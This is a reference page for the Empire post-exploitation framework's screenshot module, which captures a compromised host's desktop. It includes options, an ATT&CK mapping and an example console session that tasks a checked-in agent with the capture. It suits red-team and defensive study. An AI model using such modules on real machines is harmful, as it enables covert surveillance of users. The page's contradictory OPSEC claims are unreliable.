Get-Screenshot - Empire Module


This page contains detailed information about how to use the powershell/collection/screenshot Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Get-Screenshot
Module: powershell/collection/screenshot
Source code [1]: empire/server/modules/powershell/collection/screenshot.yaml
Source code [2]: empire/server/modules/powershell/collection/screenshot.py
MITRE ATT&CK: T1113
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: No

The screenshot module takes a screenshot of the current desktop and returns the output as a .PNG.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the screenshot module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the screenshot module:

Agent
Agent to run module on.

Additional Module Options

This is a list of additional options that are supported by the screenshot module:

Ratio
JPEG Compression ratio: 1 to 100.

Screenshot Example Usage

Here's an example of how to use the screenshot module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/collection/screenshot

 Author       @obscuresec                                                            
              @harmj0y                                                               
 Background   False                                                                  
 Comments     https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration 
              /Get-TimedScreenshot.ps1                                               
 Description  Takes a screenshot of the current desktop and returns the output as a  
              .PNG.                                                                  
 Language     powershell                                                             
 Name         powershell/collection/screenshot                                       
 NeedsAdmin   False                                                                  
 OpsecSafe    True                                                                   
 Techniques   http://attack.mitre.org/techniques/T1113                               


,Record Options-,----------,-----------------------------------,
| Name  | Value | Required | Description                       |
|-------|-------|----------|-----------------------------------|
| Agent |       | True     | Agent to run module on.           |
|-------|-------|----------|-----------------------------------|
| Ratio |       | False    | JPEG Compression ratio: 1 to 100. |
'-------'-------'----------'-----------------------------------'

(Empire: usemodule/powershell/collection/screenshot) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/collection/screenshot) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

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Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.